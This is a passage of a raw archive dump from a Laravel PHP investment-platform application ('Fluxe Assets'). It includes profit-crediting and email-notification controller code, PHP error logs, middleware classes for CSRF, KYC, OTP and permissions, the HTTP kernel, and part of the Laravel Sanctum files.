rmdir($dirPath); } public function subscriber(Request $request) { $subs = Subscriber::where('email','=',$request->email)->first(); if(isset($subs)){ return redirect()->back()->with('warning','Email Already Added.'); } $subscribe = new Subscriber(); $data = array( 'email' => $request->email, ); Subscriber::insert($data); return redirect()->back()->with('warning','Successfully added in newsletter.'); } /*** public function profitSend(){ $gs = Generalsetting::first(); $invest = Invest::orderBy('id','desc')->whereStatus(1)->get(); $day_offs = explode(' ',$gs->day_of); foreach ($invest as $key => $data) { if(now()->gt($data->profit_time)){ if($data->lifetime_return == 0){ if($data->profit_repeat == $data->plan->profit_repeat){ continue; } } if($gs->day_of != NULL){ if($this->isDayOff(Carbon::parse($data->profit_time)->format('D'),$day_offs)){ if($data->plan->lifetime_return == 1){ $this->addHoldBalance($data); continue; }else{ if($data->plan->profit_repeat>$data->profit_repeat ){ $this->addHoldBalance($data); continue; } } } }else{ if($data->plan->lifetime_return == 1){ $this->addProfit($data); $this->addUserInterestBalance($data); }else{ if($data->plan->profit_repeat>$data->profit_repeat ){ $this->addProfit($data); $this->addUserInterestBalance($data); } } } } } return response()->json(['status' => 'done']); } ***/ public function profitSend() { $gs = Generalsetting::first(); $invest = Invest::orderBy('id', 'desc')->whereStatus(1)->get(); $day_offs = explode(' ', $gs->day_of); foreach ($invest as $key => $data) { if (now()->gt($data->profit_time)) { if ($data->lifetime_return == 0 && $data->profit_repeat == $data->plan->profit_repeat) { continue; } $sendEmail = false; if ($gs->day_of != NULL) { if ($this->isDayOff(Carbon::parse($data->profit_time)->format('D'), $day_offs)) { if ($data->plan->lifetime_return == 1) { $this->addHoldBalance($data); $sendEmail = true; // continue; — don't skip sending email } else { if ($data->plan->profit_repeat > $data->profit_repeat) { $this->addHoldBalance($data); $sendEmail = true; // continue; } } } } else { if ($data->plan->lifetime_return == 1) { $this->addProfit($data); $this->addUserInterestBalance($data); $sendEmail = true; } else { if ($data->plan->profit_repeat > $data->profit_repeat) { $this->addProfit($data); $this->addUserInterestBalance($data); $sendEmail = true; } } } if ($sendEmail) { $user = $data->user; $subject = 'Important: Your Investment Has Been Updated'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Investment Status Update</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>We wanted to let you know that your investment has just been updated as part of our regular profit processing schedule.</p> <p>Here is what that means for you:</p> <ul> <li>Your returns have been calculated and added to your account balance.</li> <li>Any applicable profit or capital has been processed according to your investment plan.</li> </ul> <p>To review the details of this update, please log in to your dashboard at any time</p> <a href="https://fluxeassets.com/user/login" class="email-button" target="_blank">Access Your Dashboard</a> <p style="margin-top: 30px;">Thank you for investing with us,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; if ($gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; //$mail->setFrom($gs->from_email, $gs->from_name); $mail->setFrom('support@fluxeassets.com', $gs->from_name); $mail->addAddress($user->email, $user->name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { \Log::error("Email could not be sent to {$user->email}. Error: {$mail->ErrorInfo}"); } } } } return response()->json(['status' => 'done']); } public function isDayOff($profitTime,$day_offs){ if(in_array($profitTime,$day_offs)){ return true; } return false; } public function addHoldBalance($data){ $invest = Invest::whereId($data->id)->first(); $invest->hold_amount += $invest->profit_amount; $invest->profit_repeat += 1; $invest->profit_time = Carbon::now()->addHours($invest->plan->schedule_hour); $invest->save(); } public function addProfit($data){ $invest = Invest::whereId($data->id)->first(); $invest->profit += $invest->profit_amount; $invest->profit_repeat += 1; $invest->profit_time = Carbon::now()->addHours($invest->plan->schedule_hour); $invest->save(); } public function addUserInterestBalance($data){ $invest = Invest::whereId($data->id)->first(); $user = User::whereId($invest->user_id)->first(); if($invest->capital_sent == 0 && $invest->capital_back){ $user->increment('balance',$invest->amount); $invest->capital_sent = 1; $invest->save(); } if($invest->hold_amount){ if($user){ $user->increment('interest_balance',$invest->hold_amount); $invest->hold_amount = 0; $invest->save(); } } if($user){ $user->increment('interest_balance',$invest->profit_amount); $this->investcomplete($invest); $this->transactionLog($invest->profit_amount,$user); } } public function transactionLog($amount,$user){ $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amount; $trans->type = "Interest Money"; $trans->profit = "plus"; $trans->txnid = Str::random(12); $trans->user_id = $user->id; $trans->save(); } public function investcomplete($data){ $invest = Invest::whereId($data->id)->first(); if($invest->lifetime_return == 0){ if($invest->profit_repeat == $invest->plan->profit_repeat){ $invest->status = 2; $invest->save(); } } } } Controllers/Frontend/error_log 0000644 00000003762 15111246744 0012563 0 ustar 00 [19-Nov-2025 18:17:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php on line 41 [19-Nov-2025 18:32:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php on line 41 [19-Nov-2025 18:35:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php on line 41 [20-Nov-2025 00:47:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php on line 41 [20-Nov-2025 00:50:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php on line 41 [25-Nov-2025 02:56:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Frontend/FrontendController.php on line 41 Traits/PlanCheck.php 0000644 00000000665 15111246744 0010367 0 ustar 00 <?php namespace App\Http\Traits; trait PlanCheck{ protected function planAvailabilityCheck(){ $user = auth()->user(); if($user->bank_plan_id === null){ return redirect()->back()->with('unsuccess','You have to buy a plan to withdraw.'); } if(now()->gt($user->plan_end_date)){ return redirect()->back()->with('unsuccess','Plan Date Expired.'); } } } Requests/CategoryRequest.php 0000644 00000002047 15111246744 0012226 0 ustar 00 <?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; class CategoryRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'name'=> 'required', 'slug' => 'required|unique:categories|regex:/^[a-zA-Z0-9\s-]+$/', 'photo' => 'mimes:jpeg,jpg,png,svg', ]; } public function messages() { return [ 'name.required' => __('Name field is required.'), 'photo.mimes' => __('Photo Type is Invalid.'), 'slug.unique' => __('This slug has already been taken.'), 'slug.regex' => __('Slug Must Not Have Any Special Characters.'), ]; } } Requests/error_log 0000644 00000001164 15111246744 0010303 0 ustar 00 [19-Nov-2025 01:26:07 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\FormRequest" not found in /home/fluxyjvi/public_html/project/app/Http/Requests/CategoryRequest.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Requests/CategoryRequest.php on line 8 [24-Nov-2025 10:16:05 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\FormRequest" not found in /home/fluxyjvi/public_html/project/app/Http/Requests/CategoryRequest.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Requests/CategoryRequest.php on line 8 error_log 0000644 00000002104 15111246744 0006463 0 ustar 00 [18-Nov-2025 09:27:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Kernel" not found in /home/fluxyjvi/public_html/project/app/Http/Kernel.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Kernel.php on line 7 [18-Nov-2025 19:36:08 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Kernel" not found in /home/fluxyjvi/public_html/project/app/Http/Kernel.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Kernel.php on line 7 [22-Nov-2025 04:39:18 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Kernel" not found in /home/fluxyjvi/public_html/project/app/Http/Kernel.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Kernel.php on line 7 [24-Nov-2025 21:04:50 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Kernel" not found in /home/fluxyjvi/public_html/project/app/Http/Kernel.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Kernel.php on line 7 Middleware/TrustProxies.php 0000644 00000001175 15111246744 0012036 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Http\Middleware\TrustProxies as Middleware; use Illuminate\Http\Request; class TrustProxies extends Middleware { /** * The trusted proxies for this application. * * @var string|array */ protected $proxies = [ '192.168.1.1', '192.168.1.2', ]; /** * The headers that should be used to detect proxies. * * @var int */ protected $headers = Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO; } Middleware/RedirectIfAuthenticated.php 0000644 00000001647 15111246744 0014072 0 ustar 00 <?php namespace App\Http\Middleware; use App\Providers\RouteServiceProvider; use Closure; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class RedirectIfAuthenticated { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param string|null ...$guards * @return mixed */ public function handle($request, Closure $next, $guard = null) { switch($guard){ case 'admin': if (Auth::guard($guard)->check()) { return redirect()->route('admin.dashboard'); } break; default: if (Auth::guard($guard)->check()) { return redirect()->route('user.dashboard'); } break; } return $next($request); } } Middleware/VerifyCsrfToken.php 0000644 00000001140 15111246744 0012416 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware; class VerifyCsrfToken extends Middleware { /** * The URIs that should be excluded from CSRF verification. * * @var array */ protected $except = [ '/paytm-callback', '/razorpay-notify', '/flutter/notify', '/coingate/notify', '/user/deposit/paytm-callback', '/user/deposit/razorpay-notify', '/blockio/notify', '/coingate/notify', '/user/deposit/flutter/notify*', ]; } Middleware/AdminMiddleware.php 0000644 00000001245 15111246744 0012367 0 ustar 00 <?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class AdminMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { if (Auth::guard('admin')->check()) { if (Auth::guard('admin')->user()->IsSuper()){ return $next($request); } } return redirect()->route('admin.dashboard')->with('unsuccess',"You don't have access to that section"); } } Middleware/SetApiGuard.php 0000644 00000000575 15111246744 0011516 0 ustar 00 <?php namespace App\Http\Middleware; use Closure; class SetApiGuard { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { config(['auth.defaults.guard' => 'api']); return $next($request); } } Middleware/TrustHosts.php 0000644 00000000566 15111246744 0011510 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Http\Middleware\TrustHosts as Middleware; class TrustHosts extends Middleware { /** * Get the host patterns that should be trusted. * * @return array */ public function hosts() { return [ $this->allSubdomainsOfApplicationUrl(), ]; } } Middleware/BanUser.php 0000644 00000001151 15111246744 0010674 0 ustar 00 <?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use Auth; class BanUser { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle(Request $request, Closure $next) { if (Auth::check() && Auth::user()->is_banned == 1) { Auth::guard('web')->logout(); return redirect()->route('user.login')->with('warning','Your account has been suspended!'); } return $next($request); } } Middleware/TrimStrings.php 0000644 00000000603 15111246745 0011624 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Http\Middleware\TrimStrings as Middleware; class TrimStrings extends Middleware { /** * The names of the attributes that should not be trimmed. * * @var array */ protected $except = [ 'current_password', 'password', 'password_confirmation', ]; } Middleware/MaintenanceMode.php 0000644 00000000537 15111246745 0012374 0 ustar 00 <?php namespace App\Http\Middleware; use App\Models\Generalsetting; use Closure; class MaintenanceMode { public function handle($request, Closure $next) { $gs = Generalsetting::find(1); if($gs->is_maintain == 1) { return redirect()->route('front-maintenance'); } return $next($request); } } Middleware/Permissions.php 0000644 00000001355 15111246745 0011657 0 ustar 00 <?php namespace App\Http\Middleware; use Auth; use Closure; class Permissions { public function handle($request, Closure $next,$data) { if (Auth::guard('admin')->check()) { if(Auth::guard('admin')->user()->id == 1){ return $next($request); } if(Auth::guard('admin')->user()->role_id == 0){ return redirect()->route('admin.dashboard')->with('unsuccess',"You don't have access to that section"); } if (Auth::guard('admin')->user()->sectionCheck($data)){ return $next($request); } } return redirect()->route('admin.dashboard')->with('unsuccess',"You don't have access to that section"); } } Middleware/EncryptCookies.php 0000644 00000000467 15111246745 0012310 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Cookie\Middleware\EncryptCookies as Middleware; class EncryptCookies extends Middleware { /** * The names of the cookies that should not be encrypted. * * @var array */ protected $except = [ // ]; } Middleware/Otp.php 0000644 00000001223 15111246745 0010100 0 ustar 00 <?php namespace App\Http\Middleware; use App\Models\Generalsetting; use Illuminate\Support\Facades\Auth; use Closure; class Otp { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { $gs = Generalsetting::first(); $user = auth()->user(); if($gs->two_factor && $user->twofa){ if($user->verified == 0){ return redirect()->route('user.otp'); } return $next($request); } return $next($request); } } Middleware/PreventRequestsDuringMaintenance.php 0000644 00000000562 15111246745 0016036 0 ustar 00 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance as Middleware; class PreventRequestsDuringMaintenance extends Middleware { /** * The URIs that should be reachable while maintenance mode is enabled. * * @var array */ protected $except = [ // ]; } Middleware/error_log 0000644 00000014633 15111246745 0010553 0 ustar 00 [18-Nov-2025 09:39:35 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/PreventRequestsDuringMaintenance.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/PreventRequestsDuringMaintenance.php on line 7 [18-Nov-2025 19:39:25 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/PreventRequestsDuringMaintenance.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/PreventRequestsDuringMaintenance.php on line 7 [18-Nov-2025 19:39:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustProxies" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustProxies.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustProxies.php on line 8 [19-Nov-2025 20:49:28 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\TrimStrings" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrimStrings.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrimStrings.php on line 7 [19-Nov-2025 20:50:08 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\VerifyCsrfToken" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/VerifyCsrfToken.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/VerifyCsrfToken.php on line 7 [19-Nov-2025 21:01:40 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustHosts" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustHosts.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustHosts.php on line 7 [20-Nov-2025 02:18:07 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\TrimStrings" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrimStrings.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrimStrings.php on line 7 [20-Nov-2025 02:20:32 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\VerifyCsrfToken" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/VerifyCsrfToken.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/VerifyCsrfToken.php on line 7 [20-Nov-2025 02:39:24 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustHosts" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustHosts.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustHosts.php on line 7 [20-Nov-2025 02:46:03 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Auth\Middleware\Authenticate" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/Authenticate.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/Authenticate.php on line 9 [20-Nov-2025 02:46:04 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustProxies" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustProxies.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustProxies.php on line 8 [20-Nov-2025 06:00:55 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Cookie\Middleware\EncryptCookies" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/EncryptCookies.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/EncryptCookies.php on line 7 [20-Nov-2025 06:44:48 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Auth\Middleware\Authenticate" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/Authenticate.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/Authenticate.php on line 9 [20-Nov-2025 10:37:31 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Cookie\Middleware\EncryptCookies" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/EncryptCookies.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/EncryptCookies.php on line 7 [24-Nov-2025 10:09:53 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\VerifyCsrfToken" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/VerifyCsrfToken.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/VerifyCsrfToken.php on line 7 [24-Nov-2025 10:12:15 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustHosts" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustHosts.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustHosts.php on line 7 [24-Nov-2025 10:13:04 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Auth\Middleware\Authenticate" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/Authenticate.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/Authenticate.php on line 9 [24-Nov-2025 10:13:10 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Middleware\TrustProxies" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustProxies.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/TrustProxies.php on line 8 [24-Nov-2025 11:57:03 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Cookie\Middleware\EncryptCookies" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/EncryptCookies.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/EncryptCookies.php on line 7 [24-Nov-2025 12:48:41 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance" not found in /home/fluxyjvi/public_html/project/app/Http/Middleware/PreventRequestsDuringMaintenance.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Middleware/PreventRequestsDuringMaintenance.php on line 7 Middleware/KYC.php 0000644 00000002155 15111246745 0007771 0 ustar 00 <?php namespace App\Http\Middleware; use App\Models\Generalsetting; use Illuminate\Support\Facades\Auth; use Closure; class KYC { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next,$value = null) { $gs = Generalsetting::first(); $user = auth()->user(); if($gs->kyc){ if($user->kyc_status == 0 || $user->kyc_status == 2){ if($user->kyc_status == 3){ return redirect()->route('user.dashboard')->with('warning','Please wait for verification!'); } $sections = explode(" , ", $gs->module_section); if (in_array($value, $sections)){ return redirect()->route('user.dashboard')->with('warning','Update Your KYC First and wait for verification!'); }else{ return $next($request); } } return $next($request); } return $next($request); } } Kernel.php 0000644 00000005473 15111246745 0006514 0 ustar 00 <?php namespace App\Http; use Illuminate\Foundation\Http\Kernel as HttpKernel; class Kernel extends HttpKernel { /** * The application's global HTTP middleware stack. * * These middleware are run during every request to your application. * * @var array */ protected $middleware = [ // \App\Http\Middleware\TrustHosts::class, \App\Http\Middleware\TrustProxies::class, // \Fruitcake\Cors\HandleCors::class, \App\Http\Middleware\PreventRequestsDuringMaintenance::class, \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class, \App\Http\Middleware\TrimStrings::class, \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, ]; /** * The application's route middleware groups. * * @var array */ protected $middlewareGroups = [ 'web' => [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, // \Illuminate\Session\Middleware\AuthenticateSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ 'throttle:api', \Illuminate\Routing\Middleware\SubstituteBindings::class, \Illuminate\Session\Middleware\StartSession::class, ], ]; /** * The application's route middleware. * * These middleware may be assigned to groups or used individually. * * @var array */ protected $routeMiddleware = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, 'permissions' => \App\Http\Middleware\Permissions::class, 'setapi' => \App\Http\Middleware\SetApiGuard::class, 'banuser' => \App\Http\Middleware\BanUser::class, 'super' => \App\Http\Middleware\SuperAdmin::class, 'otp' => \App\Http\Middleware\Otp::class, 'kyc' => \App\Http\Middleware\KYC::class, 'maintenance' => \App\Http\Middleware\MaintenanceMode::class, ]; } Controllers/CsrfCookieController.php 0000644 00000001141 15111377070 0013655 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Controllers; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Http\Response; class CsrfCookieController { /** * Return an empty response simply to trigger the storage of the CSRF cookie in the browser. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response|\Illuminate\Http\JsonResponse */ public function show(Request $request) { if ($request->expectsJson()) { return new JsonResponse(null, 204); } return new Response('', 204); } } Middleware/AuthenticateSession.php 0000644 00000005151 15111377070 0013320 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Middleware; use Closure; use Illuminate\Auth\AuthenticationException; use Illuminate\Auth\SessionGuard; use Illuminate\Contracts\Auth\Factory as AuthFactory; use Illuminate\Http\Request; use Illuminate\Support\Arr; use Illuminate\Support\Collection; use Symfony\Component\HttpFoundation\Response; class AuthenticateSession { /** * The authentication factory implementation. * * @var \Illuminate\Contracts\Auth\Factory */ protected $auth; /** * Create a new middleware instance. * * @param \Illuminate\Contracts\Auth\Factory $auth * @return void */ public function __construct(AuthFactory $auth) { $this->auth = $auth; } /** * Handle an incoming request. * * @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next * * @throws \Illuminate\Auth\AuthenticationException */ public function handle(Request $request, Closure $next): Response { if (! $request->hasSession() || ! $request->user()) { return $next($request); } $guards = Collection::make(Arr::wrap(config('sanctum.guard'))) ->mapWithKeys(fn ($guard) => [$guard => $this->auth->guard($guard)]) ->filter(fn ($guard) => $guard instanceof SessionGuard); $shouldLogout = $guards->filter( fn ($guard, $driver) => $request->session()->has('password_hash_'.$driver) )->filter( fn ($guard, $driver) => $request->session()->get('password_hash_'.$driver) !== $request->user()->getAuthPassword() ); if ($shouldLogout->isNotEmpty()) { $shouldLogout->each->logoutCurrentDevice(); $request->session()->flush(); throw new AuthenticationException('Unauthenticated.', [...$shouldLogout->keys()->all(), 'sanctum']); } return tap($next($request), function () use ($request, $guards) { if (! is_null($request->user())) { $this->storePasswordHashInSession($request, $guards->keys()->first()); } }); } /** * Store the user's current password hash in the session. * * @param \Illuminate\Http\Request $request * @param string $guard * @return void */ protected function storePasswordHashInSession($request, string $guard) { if (! $request->user()) { return; } $request->session()->put([ "password_hash_{$guard}" => $request->user()->getAuthPassword(), ]); } } Middleware/EnsureFrontendRequestsAreStateful.php 0000644 00000005266 15111377070 0016202 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Middleware; use Illuminate\Routing\Pipeline; use Illuminate\Support\Collection; use Illuminate\Support\Str; class EnsureFrontendRequestsAreStateful { /** * Handle the incoming requests. * * @param \Illuminate\Http\Request $request * @param callable $next * @return \Illuminate\Http\Response */ public function handle($request, $next) { $this->configureSecureCookieSessions(); return (new Pipeline(app()))->send($request)->through( static::fromFrontend($request) ? $this->frontendMiddleware() : [] )->then(function ($request) use ($next) { return $next($request); }); } /** * Configure secure cookie sessions. * * @return void */ protected function configureSecureCookieSessions() { config([ 'session.http_only' => true, 'session.same_site' => 'lax', ]); } /** * Get the middleware that should be applied to requests from the "frontend". * * @return array */ protected function frontendMiddleware() { $middleware = array_values(array_filter(array_unique([ config('sanctum.middleware.encrypt_cookies', \Illuminate\Cookie\Middleware\EncryptCookies::class), 